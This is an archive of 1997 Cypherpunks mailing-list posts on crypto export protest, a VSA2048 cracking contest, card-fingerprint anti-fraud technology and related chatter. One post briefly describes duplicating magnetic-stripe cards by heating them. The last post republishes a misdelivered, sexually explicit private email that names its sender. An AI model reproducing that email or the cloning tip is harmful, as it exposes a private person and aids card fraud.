card and impossible to duplicate, Indeck says.

<snip>

The inventors say the Magneprint system can be used to stop other kinds of 
fraud, involving airline tickets, currency, and checks.
It's expected to be made available to card companies later this year.

========================================================================== 


-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAwUBM311bjltEBIEF0MBAQHq1Af9EIo98F80FaAbiYJv9JBfR8QIFpwIHnCG
HPZAyRFPz8Yx1AMApGc0i5JckqanriXzAEE/+3K1YiLcpL0X0yxUEA6wBc31nYG1
6so/mWdeaBMy81/Coa+534vPcWpPN4/TyBsiGitNzeh4dVit2yYg/AwW2NV092B2
p6ERgI91UtIxVov18CG2wpt960H2q4QNGnl5pI43xhHeutsZHvt97eDpoMTqaR6v
nam1TpolXxQSxcubmOfUFyvI1hZN3bUx472OnfcrtuuNHMPsoGX11J9Z2NtTzwjx
FbcpDJ0KCQtTlY1ViGHI60XqFFFWXUQ/pTZgXF8bVeOsIzOkicU0Ug==
=Y3gr
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@hidden.net (Anonymous)
Date: Sat, 17 May 1997 23:38:53 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Civil Disobediance
Message-ID: <199705171253.FAA02681@jefferson.hidden.net>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, 15 May 1997, Adam Back wrote:
>Dr Roberts writes:
>> Perhaps there is a way to turn the training on the trainers?  Civil
>> disobediance is the best way to do this.  Were a relatively small
>> number of people, a thousand for instance, to post the "RSA in 3
>> lines" code to the world, it would be highly unlikely that anybody
>> at all would be prosecuted,

> Many 1000s of people have exported it.

This was a step in the right direction.  The response of the USG has
been to pretend it isn't happening.

However, if 1000 people announced publically and openly that on a
certain date they were all going to post it to this and similar lists,
it would have a strong political impact, particularly if followed
regularly by longer works of mathematics.  Of course, if the "RSA in 3
lines" posting is considered a done deal, it may be time to move on to
longer postings.

The fact is the USG has been reluctant to make any overt moves.
Instead, they have tried to quietly put in "the crypto fix" without
making too many waves.  Over and over again we have seen their lack of
confidence in their ability to get away with making some math illegal.
It may be the case that a number of mass postings of mathematics,
which anybody can look at and see to be harmless, is all that it will
take to finish off the whole ridiculous scheme.

Simple ridicule has its value, but what I intend is the use of
organized civil disobediance as a political action, and one which is
almost impossible for thugs to respond to, particularly in time of
peace.  The nice thing about this form of civil disobediance is that
it occurs on the Net in the most public way so that it will be very
difficult for the newspapers to misrepresent what is going on.

> Well, it does seem to me at times that people in the US are being
> too timid about the whole situation.  I mean if everyone just openly
> ignored the stupid laws, you might think they would go away by
> default, just to catch up with reality.

Ironically, the very people who lay awake at night worrying about
whether factoring is hard are the least likely to take risks!

> Much hand-wringing is spent putting no-export warnings on code,
> obfuscating the download process to discourage non-US people, and
> warning others not to export.

Nobody wants to be the first one to cross the line and be arrested.
Fortunately, posting is easy and anybody can participate.  Nobody has
to be (in any meaningful way) the first to go.

There is simply no way that the government will be able to lock up
1000s of professors, grad students, businessmen, programmers, or
politicians for sharing mathematics when in the consensual
hallucination we call the news, the country is being overrun by
violent criminals.

Maybe July 4 would be a good date?

Dr. Roberts





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@hidden.net (Anonymous)
Date: Sat, 17 May 1997 23:33:02 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Civil Disobediance
Message-ID: <199705171254.FAA02714@jefferson.hidden.net>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 16 May 1997, tzeruch@ceddec.com wrote:
> On Thu, 15 May 1997, Huge Cajones Remailer wrote:
>> "All that matters is how we die: shall we offer our bodies
>> helplessly, like cattle, to the knife, or, refusing passively to
>> await the end shall we turn the strength of our anger to one last
>> battle, til, daring and doing, we fall, drenched with their blood,
>> amongst the heaped bodies and weapons of our dying enemies?"  --
>> Livy Book XXV
>
> They couldn't move with their wealth out of the way, so the
> alternatives were limited.

The passage above appears in the discussion of the betrayal to the
Carthaginians of the Roman commander Gracchus by his "friend" Flavus
Gracchus makes this declaration to his men before they fought their
enemies to the death.

The protection of personal wealth was only weakly connected with the
events described.

Dr. Roberts





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Sat, 17 May 1997 23:45:32 +0800
To: cypherpunks@toad.com
Subject: Re: Civil Disobediance
In-Reply-To: <v03007802afa2927b2003@[207.167.93.63]>
Message-ID: <3.0.1.32.19970517075902.00ad43e0@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 04:33 AM 5/17/97 +0200, A. Michael Froomkin wrote:
>On Fri, 16 May 1997, Tim May wrote, in his ever-growing .sig:
>
>> Only one response to the key grabbers is warranted: "Death to Tyrants!"
>
>Bah.  Here are two better ones:
>
>1) "See you in court."
>
>2) "You will get yours on election day.  Watch me write this check to your
>opponent."

You forgot the Jim Ray solution:

3) "Watch me run against you in the next election and make you look like a
fool."

or the amnesiac solution:

4) "Damn! I forgot my passphrase again!"

or the surealist solution:

5) "What colour do you think my keys should be?  Can I hang them around this
burning giraffe?"

-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAwUBM33HpuQCP3v30CeZAQExOgf9E6d6x986RizMjqNfF0sZ3vDxyorv5AQg
P0m7lX7BedelgHelLTSfSqzli9dgKQPJ/1bB/zqABVZ+MJkWLO8zTrGjtIc733Ok
z1cQ32p3yXf4B64RED4Pr2GFwqWXMgwWRiFNh2NV3SAjoOgxaED1jhkgNnI3hTWq
0ND3V1/n/YwW0THndXtvul0Y50Iq69VVfHAYXAx2+gw1sviqt/dkcEmxJmFc4OCA
YsmZXhmcVOCqRhQr++lWsj/0CY7XgL9kpY1Wj0UGMAraVpJTEO2Q6HoDC8Mcr6RU
Ken7+ANB6d5MnYTbitAscHAObdeRivum5se/BcZysn1AZ9vP7CDfYQ==
=lIHr
-----END PGP SIGNATURE-----

---
|     "Bill Clinton - Bringing back the sixties one Nixon at a time."    |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 17 May 1997 23:49:38 +0800
To: cypherpunks@toad.com
Subject: Re: The Inducement of Rapid Oxidation of Certain Materials....
In-Reply-To: <199705170629.XAA22763@fat.doobie.com>
Message-ID: <BwLu7D10w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


nobody@huge.cajones.com (Huge Cajones Remailer) writes:
> > I. Background Over 133,147,000 Murdered: Pre-Twentieth-Century Democide, 45
> > II. 128,168,000 Victims: The DekaMegaMurderers
> > III. 19,178,000 Victims: The Lesser MegaMurderers
> > IV 4,145,000 Victims: The Suspected MegaMurderers
...
>   I read a passage of a book long ago in which a historian recounted
> a number of different fallen dictators known for bloody purges who
> reminesced that if they had controlled their moments of "softness"
> (translate~~killed more of the right people) that they would still
> be in power.

This reminds me how I used to be consulting for a publisher, and came
across an MS (which never got published) written by some Mongol about
the history of Mongol conquests. It had a passage to the effect that,
"X-khan should have put down this rebellion and killed a million
people, like his predecessors would have. But he was soft, and this
caused the empire to collapse."

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 17 May 1997 23:42:32 +0800
To: cypherpunks@toad.com
Subject: Re: Martin Hannigan Pervert Pedophile
In-Reply-To: <Pine.BSI.3.96.970517075555.6341E-100000@shell.thecia.net>
Message-ID: <35Pu7D12w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


kibo <kibo@thecia.net> writes:
...
> > > That's not as misguided as it seems. Common carriers are regulated
> > > heavily, and many ISPs don't generally seek that regulation.
> > >
>
> That is a telephone type of "common carrier."  but anybody with a
> "common carrier status" is not going to get regulated.  All it means
> is a hands-off approach to users postings.
>
> Even for a death threat, I will not terminate any user, because
> the law is not mine to enforce.  And this "copyright" shit is the
> same argument.  SPA needs to be attacked and undermined.

The ISP cannot determine that a particular patterns of 1's and 0's
constitutes a "death threat" and/or a "copyright violation".

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Sun, 18 May 1997 09:00:50 +0800
To: cypherpunks@algebra.com
Subject: dhp.com is blocked by CyberSitter
Message-ID: <3.0.2.32.19970517113604.03d96100@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


A note for those of you who use dhp.com.

dhp.com is on the blocked list for CyberSitter.

Don't bother complaining to Brian Milburn (pres. of solid oak, makers of
CyberSitter) about it.  He is notorious for throwing temper tantrums at
anyone questioning his judgement.

---
|     "Bill Clinton - Bringing back the sixties one Nixon at a time."    |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Sun, 18 May 1997 09:03:09 +0800
To: cypherpunks@algebra.com
Subject: PGP 5.0 beta is out at PGP.com
Message-ID: <3.0.2.32.19970517113906.03d96c30@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

The pgp 5.0 beta is out. It is for Win95/NT 4.0 only.  PGPKeys.exe pukes its 
guts out when run.  (At least on my machine.)

It looks like they have hired a new graphics artist.  The splash page looks 
interesting.  Nice if the rest would run...

-----BEGIN PGP SIGNATURE-----
Version: 5.0 beta
Charset: noconv

iQEUAwUBM337SeQCP3v30CeZAQHrIwf3bwkNKXwDPb5R2qLMneIIWBTfYvwAGCQ6
8xqd0BHSsD+7ZzF4u9iVZWV9sHN/62LxAo886FfDP7PtKG+JZrZCa+KOUj2Zw3qk
1wltug8/rylAoLHulXwFVfwWb001jMIsS5RYNqDLqyccVF2TWUbVKQEgH7EI9VJ3
EU8gZzHF61ok+bqacmV/r7ANoIdfFRvLZHm0iGo6Xm4xHz8lw2JzDWWvnhWnEquD
mf3XUaNRVYnI4/+kgs8fx5golMY3pPQrl6PR0XdvvLJITUhiqM3SVTDs9IL4hWAx
V7WWGPHaJZw6nVAl5LNbLK9puGFw0FMap1a6Ld+HnmRlxlgpr8B/
=gdHU
-----END PGP SIGNATURE-----

---
|     "Bill Clinton - Bringing back the sixties one Nixon at a time."    |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sun, 18 May 1997 09:07:49 +0800
To: cypherpunks@toad.com
Subject: A wee bit of Civil Disobedience
Message-ID: <199705171954.MAA17404@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Want to add a bit of mass civil disobedience to the Crypto movement?

Get alt.binaries.crypto created as a usenet news group.

Why has this not happened already?  This will make an even bigger mockery of the ITARs, the EARs, and the other silly regs throughout the world.

[BTW, for those of you who oppose "Careerpunks", consider this...  How can you throw your crypto-sabots if you cannot get close to the machinary of industry?]

Jarvis Pym
Mad Chemist of Kaos








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: DataETRsch@aol.com
Date: Sun, 18 May 1997 02:01:29 +0800
To: cypherpunks@toad.com
Subject: Re: http://www.dataet.com/public/source/vsacmv20/
Message-ID: <970517133710_517174890@emout09.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain


Igor,

In a message dated 97-05-17 01:04:54 EDT, you write:

<< Thank you VERY MUCH for releasing the source code. This shows that you are
 serious about your program and truly appreciate how important is the process
 of review as far as your credibility is concerned.
 
 I have downloaded your code and looked at it. Looks rather interesting
 (especially the part below). What I did not understand, however, is
 what is SetVal and how it works. Also, I was not clear how you set
 variables AE1, AE2, ..., AE10 and so on.
 
 As far as I understand, you use these variables to select the particular 
 encryption method. Do you normally select only one method on some random 
 basis or you use several passes?
 
 Also, some may be interested to look at this particular encryption
 method (I added some indentation and comments for readability). I believe
 that it is not particularly strong. >>

Hi. Thanks for taking a look at the source code. Actually, SetVal is just a
name used for many parameters of functions and procedures within VSACM. The
documentation of VSACM V2.0 describes what SetVal represents in each function
or procedure. Attached to this message is the help file of VSACM. As for the
AE1, AE2, etc. variables, they're set with the VSACMSetEnableTC1001,
VSACMSetEnableTC1002, etc. procedures. If you take a look at
VSACMProcessOperation function in LibUnit.pas and the Internal function in
IntUnit.pas, you'll notice how relatively uncomplex algorithm extensions are
combined to form a powerful algorithm. The procedure TC1001 (in StdUnit.pas)
you mentioned is basically a pseudo-random byte XORer. TC1001 is NEVER used
as the sole encryptor of a file. You'll also notice that, at a minimum,
single passes of TC1001, TC2005, TC1005, TC3001, TC3004, and TC3005 are used
to encrypt/decrypt a file. No, an algorithm extension is not chosen randomly.
Some of the procedures are "scramblers". Others are "incrementors". Others
are "avalanchers". Again, it is best to analyze VSACM as a whole in a
systematical (chronological) manner instead of analyzing each procedure of
function in each source code file one by one. By the way, what do you think
of the key hashing procedure (VSACMSetKey) and the memory deallocation and
destruction procedure (VSACMInitialize) and the masking tables in
IntUnit.pas? Did you find any "backdoors" or ways to hack a decryption date
or time lock applied to a file without applying the correct key? (There
aren't any). How about any flaws?

Also, for others who may be reading this, if you still think VSA2048 is still
a "flawed" or "crappy" or "sucky" or "snake-oiled" encryption algorithm, why
don't you PROVE it by cracking the file located at
http://www.dataet.com/public/source/vsacmv20/breakit.dat (if you are in the
U.S.)?!?! (All words, no action!!!) Well? The file was encrypted using a
120-bit VSA2048 key. The key isn't even 128 bits in length! I don't know
about you, but I would think VSA2048 is pretty good if not even one
cypherpunk out there can decrypt the message. As for my previous line about
the decryption contest being limited to the cypherpunks (@toad.com), I have
changed my mind. The contest is open to any person (in the United States). I
will post contest details to cypherpunks@toad.com again.

I appreciate the comments. Thanks.

Regards,

Jeremy Yu-Ramos
DataET Research





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: DataETRsch@aol.com
Date: Sun, 18 May 1997 02:15:43 +0800
To: ichudov@algebra.com
Subject: Re: http://www.dataet.com/public/source/vsacmv20/
Message-ID: <970517134822_-1029781424@emout15.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain


In a message dated 97-05-17 13:37:36 EDT, you write:

<< why don't you PROVE it by cracking the file located at
http://www.dataet.com/public/source/vsacmv20/breakit.dat >>

It's "crackit.dat". Sorry.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tzeruch@ceddec.com
Date: Sun, 18 May 1997 02:06:08 +0800
To: cypherpunks@algebra.com
Subject: Re: Just Say "No" to Congress - authority v.s. power
In-Reply-To: <Pine.SUN.3.91.970516230840.24291E-100000@beast.brainlink.com>
Message-ID: <97May17.134933edt.32257-1@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, 15 May 1997, Vladimir Z. Nuri wrote:

> anyone who disbelieves in the authority of the US government
> yet sends them their tax money is a hypocrite.

They just want their own federal reserve notes back - Render unto
Caesar... But to the original point:

Then so is anyone who gives money to an armed robber who offers the
alternatives of payment or bodily harm.  It is a voluntary decision to
give money to the robber instead of letting him remove it from your
corpse.  His weapon gives him power without authority, and you (or your
survivors) appeal to the legitimage authority of the police to address the
situation. 

China has a government.  Is everything it does to its citizens legitimate? 
If so, why - is it might makes right?  If not, what is unique about the US
government being a mixture of a little democracy and a lot of bureaucracy
that makes any act by any agent legitimate? 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: DataETRsch@aol.com
Date: Sun, 18 May 1997 09:10:04 +0800
To: cypherpunks@toad.com
Subject: VSA2048 CRACKING CONTEST
Message-ID: <970517135403_2018739284@emout09.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain


Host: DataET Research (http://www.dataet.com)
Encrypted file location:
http://www.dataet.com/public/source/vsacmv20/crackit.dat
Applied encryption algorithm: VSA2048
Encryption algorithm source code:
http://www.dataet.com/public/source/vsacmv20/
Applied key size: 120 bits (15 bytes)
Encrypted (secured) file size: 836 bytes
Decrypted (unsecured) file size: 836 bytes
Hints: No message hints available
Key and message post location: cypherpunks@toad.com
Contact: info@dataet.com
Limitations: U.S. residents only
Prize: FREE basic Web site package & apology posted to cypherpunks@toad.com &
discontinuation of VSA2048-based products

CRACKIT.DAT file statistics:

Type: Binary (Intel)
Characters: 836
Mode: 179
Mean: 127
Median (middle character, no order): 3





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: JKYuRamos@aol.com
Date: Sun, 18 May 1997 09:16:33 +0800
To: landon_dyer@wayfarer.com
Subject: Re: http://www.dataet.com/public/source/vsacmv20/
Message-ID: <970517140349_-962654051@emout04.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain


In a message dated 97-05-16 20:58:27 EDT, you write:

<<   no insults or bashing, i promise
 
   the use of the built-in Random function looks scary.  my five minute
 overview of the code may have missed some cleverness (or i may have missed
 your own implementation of Random).  i am not a cryptographer, and can't
 comment much more on the actual encryption algorithms you're using
 
   from an engineering standpoint: i assume that you stripped the comments
 out before posting the source
 
   from a legal standpoint: you should probably yank the source code off
 of your site.  i am not a lawyer, but making this stuff downloadable from
 outside the US is risky >>

Hi. Sorry, actually, I regret that the code was developed with no inline
comments. Yes, you probably did skim over some essential code. Also, again,
the pseudo-random number generator is NOT the only method used to encrypt a
file. In fact, the pseudo-random number generator code could have been left
out to some extent. I have also specified that that no one who is not in the
U.S. may access the source code, but if no one cracks the file located at
http://www.dataet.com/public/source/vsacmv20/crackit.dat by June 20th, 1997,
I'll have to assume that VSA2048 is an extremely secure encryption algorithm,
and I will consider having the source code removed from the site.

Regards,

Jeremy Yu-Ramos
DataET Research

Host: DataET Research (http://www.dataet.com)
Contest expiration date: June 20th, 1997
Encrypted file location:
http://www.dataet.com/public/source/vsacmv20/crackit.dat
Applied encryption algorithm: VSA2048
Encryption algorithm source code:
http://www.dataet.com/public/source/vsacmv20/
Applied key size: 120 bits (15 bytes)
Encrypted (secured) file size: 836 bytes
Decrypted (unsecured) file size: 836 bytes
Hints: No message hints available
Key and message post location: cypherpunks@toad.com
Contact: info@dataet.com
Limitations: U.S. residents only
Prize: FREE basic Web site package & apology posted to cypherpunks@toad.com &
discontinuation of VSA2048-based products

CRACKIT.DAT file statistics:

Type: Binary (Intel)
Characters: 836
Mode: 179
Mean: 127
Median (middle character, no order): 3





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Sun, 18 May 1997 09:16:18 +0800
To: harka@nycmetro.com
Subject: Re: CC fingerprints
In-Reply-To: <199705170904.FAA29705@linux.nycmetro.com>
Message-ID: <199705171835.OAA23077@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain


harka@nycmetro.com wrote:

| Their solution, called the Magneprint system, reads the millions of tiny
| magnetic particles, which are unique on each card, says Professor Ronald
| Indeck.
| Each magnetic stripe on the card has two important areas. The first looks
| like a bar code, which contains the account number. The rest is a random
| pattern of magnetic information -- a signature that is different on every
| card and impossible to duplicate, Indeck says.

	"Impossible to duplicate."  Perhaps he has never heard of the
ironing trick?  (You use an iron to heat one card in the proximity of
the other.  This breaks up the cohesion of the particles on the card
close to the iron.  The magnetic field in the other card causes the
particles to realign themselves as they cool.)

	I suspect that a conventional card reader won't duplicate the
other areas of the card.  But the duplicability of bits is a
fundamental fact. Thats why Chaum's original systems are online, and
safer than the smartcard system.  The smartcard based systems depend
on the cost of breaking behing higher than the payoff for criminals.
(Or the cost of breaking the smartcard based system as opposed to
breaking some other system.)

	A mag stripe card, with no defenses built in, can be
duplicated.  Are they offering prize money for beating thier system?
My only worry would be that they read finely enough that they notice
small deviations in the duplicate.

Adam


-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Sun, 18 May 1997 09:23:24 +0800
To: cypherpunks@EINSTEIN.ssz.com
Subject: index.html
Message-ID: <199705172034.PAA02900@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain


    CNN logo 
   WORLD navbar 
   
   
   Infoseek/Big Yellow 
   
   
   Pathfinder/Warner Bros 
   
   
   
   
   World banner Alan Greenspan. Is he the man with the golden touch? 
   
     rule
     usa.nightmare --From Danish newspaper Ekstrabladet
     
                DENMARK: U.S. OFFICIALS OVER-REACTED OVER BABY
                                       
     
     
     May 17, 1997
     Web posted at: 1:33 p.m. EDT (1733 GMT) restaurant
     
     COPENHAGEN, Denmark (Reuter) -- Denmark's foreign minister said
     Saturday that a Danish mother had been foolish to leave her baby
     daughter outside a New York restaurant, but U.S. authorities who
     jailed her for two days had over-reacted.
     
     Danish newspapers ran front-page pictures of actress Annette
     Sorensen and 14-month-old daughter Liv after a New York City judge
     Friday dropped criminal charges against the mother.
     
     "USA Nightmare over - Free," Ekstrabladet's headline read."We Won,"
     crowed rival tabloid B.T. reunion
     
     Sorensen was jailed for two days last weekend and her baby put into
     foster care for four days. She had left Liv parked in a stroller
     outside a restaurant while she and the child's American father were
     having a drink and watching her through the window.
     
     "It was rash of the mother to leave her child in an American city.
     It is not clever but is perhaps excusable because she was not really
     aware of the danger," Foreign Minister Niels Helveg Petersen told
     B.T.
     
     "But the American authorities over-reacted because this was not a
     case of a mother who could be accused of neglecting her child, it's
     completely out of proportion," he added.
     
     Ekstrabladet quoted Sorensen, 30, as saying that she bore no
     animosity over the affair. denmark
     
     "I'm not quite myself again yet, but I am not bitter toward the
     United States (although) I honestly can't say if I will ever come
     back again," she told the paper, holding Liv in her arms, at a
     champagne celebration in New York's Danish Seamen's Church.
     
     Under terms of the deal reached before Judge Michael Gross by her
     attorney, the Manhattan District Attorney and the Danish Consulate,
     the criminal charges of endangering the welfare of a child were
     dismissed and the case will be closed for good in six months.
     
     "It is our belief that this was a clash of cultures and a lack of
     understanding," her attorney Todd Barnet said.
     
     The mother's lawyers said that she did not think twice about leaving
     the child outside the restaurant because it was common practice in
     Copenhagen.
     
     Sorensen still must appear in Family Court Wednesday but B.T. quoted
     a lawyer for the Danish Consulate in New York, Peter
     Hessellund-Jensen, as saying that he foresaw no problems.
     
     "I am convinced that the hearing is only a formality," he said.
     
     Sorensen's attorney says she has a plane ticket to leave the United
     States May 27. She had been in the country less than 48 hours when
     her daughter was taken from her.
     
     Copyright 1997 Reuters Limited. All rights reserved.  rule
     
  Related stories:
  
     * Charges against Danish mother effectively dropped - May 16, 1997
     * Women charged with leaving baby outside while dining in restaurant
       - May 13, 1997
     * New York returns baby to Danish mother - May 13, 1997
       
      rule Message Boards 
     
  Sound off on our message boards
  
     Tell us what you think!
     
     You said it... [INLINE] Alan Greenspan. Is he the man with the
     golden touch? rule
     
   
   To the top 
   
   (c) 1997 Cable News Network, Inc.
   All Rights Reserved.
   
        Terms under which this service is provided to you.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sun, 18 May 1997 09:18:25 +0800
To: cypherpunks@toad.com
Subject: DCSB: Fred Hapgood on the Internet as an Auction-Pricing Incubator
Message-ID: <v03020903afa3b44feaa4@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

                 The Digital Commerce Society of Boston

                              Presents

                            Fred Hapgood

            "The Internet as an Auction-Pricing Incubator"



                        Tuesday, June 3, 1997
                              12 - 2 PM
                  The Downtown Harvard Club of Boston
                    One Federal Street, Boston, MA
                   Price, Including Luncheon: $30.00


The low transaction costs and interactivity of the internet are proving a
highly favorable incubator for auction pricing.  In April Yahoo reported
60+ sites supporting online auctions with more appearing every day. The
largest of these hosted more than 50,000 individual auctions (not
individual items) simultaneously and was growing at 25% a month.  Online
auction sites appear to be the only indigenous internet service that is a)
generating profits of any scale and b) respectable. Fred will describe how
these auctions work, some of their varieties, what they are selling,
analyze the online auction site as a business model, review recent
developments, and weigh the odds that online auctions will be associated
with changes of interest in the structure of the economy and the culture.

Fred Hapgood, <http://www.pobox.com/~hapgood>, is a free-lance writer based
in Boston. While he often writes about aspects of electronic commerce, that
being where the market is, he promises creditworthy clients an attentive
and positive hearing to any proposition legal in at least one jurisdiction.
Last year he spoke before the DCSB on franchising and the internet.

This meeting of the Digital Commerce Society of Boston will be held on
Tuesday, June 3, 1997, from 12pm - 2pm at the Downtown Branch of the
Harvard Club of Boston, on One Federal Street. The price for lunch is
$30.00. This price includes lunch, room rental, various A/V hardware, and
the speaker's lunch. ;-).  The Harvard Club *does* have dress code: jackets
and ties for men (and no sneakers or jeans), and "appropriate business
attire" (whatever that means), for women.  Fair warning: since we purchase
these luncheons in advance, we will be unable to refund the price of your
lunch if the Club finds you in violation of the dress code.

We will attempt to record this meeting and put it on the web in RealAudio
format at some future date

We need to receive a company check, or money order, (or, if we *really*
know you, a personal check) payable to "The Harvard Club of Boston", by
Saturday, May 31, or you won't be on the list for lunch.  Checks
payable to anyone else but The Harvard Club of Boston will have to be
sent back.

Checks should be sent to Robert Hettinga, 44 Farquhar Street, Boston,
Massachusetts, 02131. Again, they *must* be made payable to "The Harvard
Club of Boston", in the amount of $30.00.

If anyone has questions, or has a problem with these arrangements (We've
had to work with glacial A/P departments more than once, for instance),
please let us know via e-mail, and we'll see if we can work something
out.

Upcoming speakers for DCSB are:

July      Win Treese           TLS, Digital Commerce, and Export Issues
August    Duncan Frissell      MarketEarth
September Christof Paar        Elliptic Curve Cryptography
October   Peter Cassidy        Military Fiat and Digital Commerce
November  Carl Ellison         Identity and Certification for Electronic
                                Commerce

We are actively searching for future speakers.  If you are in Boston on
the first Tuesday of the month, and you would like to make a
presentation to the Society, please send e-mail to the DCSB Program
Commmittee, care of Robert Hettinga, <mailto: rah@shipwright.com> .

For more information about the Digital Commerce Society of Boston, send
"info dcsb" in the body of a message to <mailto: majordomo@ai.mit.edu> .
If you want to subscribe to the DCSB e-mail list, send "subscribe dcsb" in
the body of a message to <mailto: majordomo@ai.mit.edu> .

We look forward to seeing you there!

Cheers,
Robert Hettinga
Moderator,
The Digital Commerce Society of Boston

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-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 18 May 1997 09:27:31 +0800
To: cypherpunks@toad.com
Subject: From the orphan folder
In-Reply-To: <v01510109afa2380c5080@[139.57.144.207]>
Message-ID: <Vs8u7D24w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Sometimes one finds amazing stuff in the orphan folder.
What the heck is "industry.dm.com"?  All the boxes in
the dm.com domain have Russian names. Must be a typo.

Moral: use PGP.

>From ktinkler@spartan.ac.BrockU.CA  Fri May 16 16:15:33 1997
Received: by bwalk.dm.com (1.65/waf)
	via UUCP; Fri, 16 May 97 20:07:27 EDT
	for ktinkler@spartan.ac.BrockU.CA
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Date: Fri, 16 May 1997 16:14:31 -0400
Message-Id: <v01510109afa2380c5080@[139.57.144.207]>
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="========================_19208278==_"
To: tartar@industry.dm.com
From: ktinkler@spartan.ac.BrockU.CA (Keith Tinkler)
Subject: trying your address



--========================_19208278==_
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

problem

I was sorry to lose you just as you were getting your clitoris out and into
view - I presume the network daemons got you? In any case I was going to
ask you to rub it hard to an orgasm while we were in dcc and thought about
the cyber caning I gave you and the real one I would like to give you. So,
I hope you took it upon yourself to do that anyway. What sort of cane was
it? - thick (less liable to break skin) - long - that your friend used? If
we meet ever - maybe I will write a story - have you read it as I described
- and cane you hard for infractions. After each stroke you will get a
minute to recover equilibrium - then its open season on your rump again
(you have no idea how perfectly delicious your bottom sounds to me!). Mind
you it isn't punishment for a masochist!!! But we would both enjoy it.

It was wonderful to discover someone as open and willing as you were -
there seem to be a number of closet masochists on the spanking channels!
but many are very prissy and don't want sex with their spanking - woe
betide you if you touch their privates - or even allude to them or the
aromas arising. Its hard to remember now - that I "took you" over from
Spandex... (or whatever his name was). I think you don't mind exhibitionism
either?

There is only room for one story in this email - I have found attachements
- even text ones - get garbled more and more these days. I'd rather dcc but
that fell through today. However, I have attached another text file - try
to open it and let me know if you can.

Critical

*********************
The lady is for caning

If you were here with me now this is what I'd do. After dark you'd strip in
the house. Slightly heeled sandals. Its a warm night. I'd walk you down
